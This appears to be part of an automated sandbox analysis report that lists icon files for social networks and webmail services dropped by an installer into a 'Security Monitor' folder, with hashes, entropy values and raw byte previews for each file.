Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.12/12/08.Z......IDAT8...MkSQ...s.I./.ik...S..bA1[7n...H@...[...D.n.U..E.bAcH.$MC.....ZIc...8...w..U.=..UsbUU).;.F.+.R3....U.I%P4.E...V.......9rT.].X,V"n.\."&.3.2pn.R."...o...".L`.=..9>...-...w.y..\..#g.^...@..z..P...Z.D......D.ApA.*.........pD.:\|...&.x..p......5..R.w..x....SY.../.J&.I..H...'...X....=A.x..&...{....b.0.cEp..:............%..$&........g;f.P..6..t~.S.R.>...[6..s=x.u.r&.O...^..jJQDc0b..............'tc.ec8.#..z......>\..M..b.;.<%..4.0v....o..V/b...&g\|mo"..^...N..#.).#..fB....:..t......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\vkontakte.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.276060631735337
Encrypted:	false
SSDEEP:	24:MXjJ+Ja5yURg0WulL9rChz1XcXbQxX2rD4:kIJ4yURgLkprChzBcXbeXID4
MD5:	97B03F45DC3F2AA6B9908A842ED7A308
SHA1:	5C0489A30B7805DB94B9F60C53616A4CA8BCA5C4
SHA-256:	C08548C6A31E3C58F69B083ADAA3154C5957619E65F1FF910FDBB7F83B480183
SHA-512:	78130C2A02CF5E56103C42E3ADB35CA85DBB8A66259C895F7CEB987B1BC7B73932F54A2F28B4F065765C9B9264E088E57C5DEE70ABCC9B41D9DE6AEE90BE08A9
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................U="..b<.f>.f>.f>.f>.f>.f>.f>.f>.f>.f>.b<.U=".....W>"..wJ..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..tH..wJ.W>"..g;.pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..g;.i<.mA..mA..l@..l?..l@..mA..mA..m@..l?..l@..mA..l@..l?..l?..i<.g9.j>..j=..\|].......l..i<..j>..sQ.......]..i<..._.......y..f7.e7.g:..d4..............a2..g:..x^.......t..g<..........rJ..e6.c4.c6..a8..............tM..c6..x].......o...........y..a3..c4.a2._1...n......\|c..........^0..x[.................[,..`2..a2._/.X'.........]/.........`2..~c...............w..Y*..]..._/.[+.f?.........tL...........j...u..................._..c7..[+.yR.............a...g.......................a...........d..yR.i........u...r...o..........~..........r..............j.z.........................................................z...............................................................p[..............................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\vkontakte.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	776
Entropy (8bit):	7.739847313028713
Encrypted:	false
SSDEEP:	12:6v/7A0VGIMaJnGINOCUG1s1tdXBlkgV3qICi6aw5FDk+RA1xuw/bK11x8GRtnY1V:5IzGGO60BC/P5iohugnYiLjU
MD5:	F7412F52AFCDBFAA2520A462C99468FC
SHA1:	DE1BAD996FACA409432C84C0EE0724827C00D072
SHA-256:	13F249E23B22582CFC057954C4A040EBA5733E3FEEA3FC3DAB0F9EF584DE89A8
SHA-512:	FA1205996FF98BCA175F38AB210AF47E56DF29E580D8FA16CA6C30C9BF324D53847335149DCDB874178F7642D49AD24DFEC0C67B32F831E6999B9050FB7ECE64
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.S{H.Q.=....)Y....\|4..CmeZZ*....!dQ..J..J..aI..... %.LILK..0....SI..H3\|l.}[[O.........K.K.....s."#.DB...a...t........hAb\..h4NG.....7j..W.z.fK.3R.....emD4c%...0.....7?a.9.GY..g.......x..<.c..3@....#.......>}....X...v.j.W.$(.....]..(.lF..A..G..m.oU.UW/r..p..1^t..pj4.Y..x...=G...X'[..-..j.NW>.Z.Gdn.E.[..&....'+...@.uk..........Oqd....~r.).G....1.W.L.........@..(..g..![....P..eI...(...(Y....:...h(J.......j.7.......D..M`.....Zd.6B$...rD...K..e2.\....I8..ao..h....Y.\|.&... .t@X...u/q.........T,M......Q.%.Vs...!."....rw.GYC.Z.9...a#....G.l51D^..i..... .J?W.hF.>0......(..m=Z.hG.5O...........=%.P.H..-C..P..?.=V.#..~........M....2..T.?..D....._$....qg]....@$...d4.....[j2.....AF%.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\youtube.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.490442714261337
Encrypted:	false
SSDEEP:	24:hvTTTTTTTTTTTr6TTTTTTTTTTTTc2UTTATTTTTiTTFTTTTKTTTLTTUTTT5PTTVTp:NTTTTTTTTTTT2TTTTTTTTTTTTc2UTTAa
MD5:	3EFC7DC297E404B3905700EC7BAD9F52
SHA1:	51AA1918C57A97D0C0C60D7AE9C55356E6F6B8F9
SHA-256:	455B953BE12AFA28BF8823BBD0A8E2C1D7730878FBCBF7B1D3245D4FB5A09ACA
SHA-512:	29644DA8AB7596B0EF2849BF7BBED4B76478C38DCA6EE7E735D4CA9B4693F1978CF60A5909C8733A98CF5C14F088884FCFC0AED6C85C6109F7838729D18E98F9
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ................................................................................................................................................................B...{.....................................F.......d...........................................................d................................................................................................................................................................+,......................................................................$%..............................................................UU......................................................qq......................................................NO.........................................................................................................e...........................................................e.......G.......................................G..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\youtube.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	404
Entropy (8bit):	6.917623353697257
Encrypted:	false
SSDEEP:	12:6v/78/LcZn9Kk5YNxqZcvZ46+mxhdPGDjrc:KZUIYNxtvPZV
MD5:	483305114EBE1A4A44773D21D611216C
SHA1:	3C0FBD8BA2AE801A9B03CC238AB641E65E9B67D2
SHA-256:	A150DC4A0B8367A03736C12A4851EB29D780D3EE2B1D0709B417BE0A5FCE1774
SHA-512:	706D04A9BAC5EFA0F85A2070305BF52908D1D4DFF1AE27B4EA09E7BAC291D94B2E980EEEEA9A9C29559E2C728E44C276561F559532E3DFB929AD70C4829FA111
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs...........~.....tEXtSoftware.paint.net 4.1.6.N......IDAT8Oc.......Ya..s...f......-;+,....l.. 9...Z....."..@...`.^...G.I..Az......&y....yI..q.,$..h...l..v..............n.H/.6...........vh.?,...4../..O..wQU....8..n..?....wYG.C...^....$.9......h<'(..M.(...N.g......U..i.9!..@z>.^.T...AI........3.5.........00...!s&...T....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\GMX.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Gmail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.433906899003064
Encrypted:	false
SSDEEP:	48:FYv/RQcs//cF///cPG/////cP5Q//////cPQ////////ce///////cE4/////c3Q:uv/RdBmTBVlbaMeExLKwePaSO
MD5:	5B44B02CBAC63F77EDFDB9C6B685AD91
SHA1:	D8592C8C56F4E6DE68835268459472F24362A9CD
SHA-256:	9CD7273F90F5F7C4BD2003695920A551B204A2F73690D6B0918323E2649DD15A
SHA-512:	F0D33196CE43A5D599D271E1176A5A76FD09B271A3B44810CD9DE9310FE4EF57EA1D71918F6B596C1AB42755C890B61D5EF49EBDDE72D5AC879C137B497E83E6
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................L]..LY.MY..........................................................................9../9..-8.2....O_..MY..MZ..MZ................................................................................................./9../9..-7..-8.2NY.XMZ..MZ..MZ...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Mail.RU.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Mail.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Outlook Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Outlook.Live.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Yahoo Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Yandex Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\facebook.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.0320556453234735
Encrypted:	false
SSDEEP:	48:9C4c77Xlnvx3vIrhdu95k8e00PK5Qw9hN51sEUqK4hlEVnNApv1k8Z5RWVG4444M:44I7X9Zft0P0r+oh/wVnQv3RWVtrQbe
MD5:	AC6FE311F112F577F6A7108D053180ED
SHA1:	AEA6C67AE58A4B0452BBC37170A2F8C948ADE5C1
SHA-256:	5AC764E501C1968A766B7DDCAF3407F25E212EB3E1147D1DF3B34336A511E63F
SHA-512:	A7EFD0FEED7C54DC5756265936AB2E091F2465AE73F4C7A5254AECDA3B02291343822F22FA61399F91B35762655B26D8FB479492561CAEA5F39F33FBE0178281
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................eee.```.nnn.jjj+lll;mmmClllEjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGlllEmmmCkkk;kkk-jjj.ooo.```.....nnn.rrr.kkk%kkkGkkkcmmmukkk.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.mmm.lllwmmmckkkGnnn'kkk.mmm.lll.lll#mmmMmmmw.i\..gP.gL.iN.iN.jO.kO.lO.mP.mQ.nR.pR.qS.rS.qR.pR.nR.mQ.mP.kO.kO.jO.iQ.j\.lllwkkkMhhh%qqq.jjj.lll;rkhw.dI...................................................................gJ.tjf{lll=mmm.jjj!lllQ.cH.a>.....d..nK..jE..jF..lF..mG..nH..oI..qJ..rJ..sK..sK..vN..wN..vN..uM..sL..pJ..nH..nG..pL..d.....e@..eH.mmmQmmm!iii).fY.._=.....vV..c?..e@..fA..gA..hB..jC..kD..lD..mE..nF..oF..k@.....................}..d;..iC..hB..gA..wV.....c?..gV.mmm)mmm-.aI......e..b>..c?..d@..e@..gA..hB..iC..jC..kD..lE..mE..mE..h?.........................b9..iC..hB..fA..e@..d.....dI.lll+kkk-._D.....mM..a>..b>..d?..e@..fA..gA..h

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\google+.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.288019933532579
Encrypted:	false
SSDEEP:	96:OjwqZN3wbSWxcd+/da0jaP77C9AVM24KveTySDQF:OjwqZNAbSWxcIOvCWe2SY
MD5:	D3C536BA60769EC6301D00AA3EF5E2EE
SHA1:	5896533F46A247CE288CDC2268ED7C90F5AFC433
SHA-256:	828C41C37260041061C57765B8316A30768306AAA829815F25AB7FE5FB9955C2
SHA-512:	9BA9C36F464D2C260215A765DAF67E789B09EBEC484000037EE394277419692B85497ED4643B6770A5FCB641363FE05DBF15F33C6DF56C46837DEE5DAB8BA7AF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................................................................................................................................................................................................................................................[.......................k.k........................................................[...................................-............................................6.6.,.,...&.&."."....................................-................................................g...A...1...,...>...o.......q.q.'.'.).).%.%.!.!........................................................[................U...<...:...3...+...$......................&.&.).).%.%. . ................................[................................]...O...H...A...9...2...*...#...........'.......~.~.+.+.(.(.$.$. . .............................................................N...V...O...G...@.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\imp.free.fr.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\instagram.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.977825738278547
Encrypted:	false
SSDEEP:	96:hszWWWWWWWWWWWWWWWWWWWWWWWWWWWWxDrsAC/nqfyS:hszWWWWWWWWWWWWWWWWWWWWWWWWWWWWF
MD5:	013FF196FE6FA64188221F539A0C75FA
SHA1:	167852F22EEC0C7CD621ECB343DF0F05A855343E
SHA-256:	27B388961D008A5B3085B27942F398021EC73D57549EA62EFF9D1D9542A8C4AD
SHA-512:	046BE975703A10D75ED67D7C71EC87E63F2FD1CE8915521BD30629B6A4A06E3D10EA646B4ADE10F2D8ECC9297FB5165741E1AD4BDB961669CE66E19B80EBCE61
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................\|...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...}...............y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y.......\|...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...}...v...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...v...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...r...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...o...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...m...n...n...n...n...n...n...n...n...p.....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-07QHH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-2JVSN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-2TTRE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.4394112066038
Encrypted:	false
SSDEEP:	96:JfMeD5/LLxul//e//O//5UtkRU3sovxWlDoq+ESjoHAICy:Jf5D5vxul//e//O//2tk6s00lx+Eqog0
MD5:	539F181408594BE8AB8295972C4235BE
SHA1:	692665445CF08589D98C943956CCFAF537B94C50
SHA-256:	4DE87763921B6DC43B630BDEB41C7CFB81290DCBDA2E1F3E4B29ECE0A364EFF7
SHA-512:	40E4FBF36D482EB2A1F21DA82973A06E209BBCB4FB90091B21BC750A0BF544F4825D54F269D785B18F6CC2708EE5CAE664A8E98197DB84AB210991C9A844E765
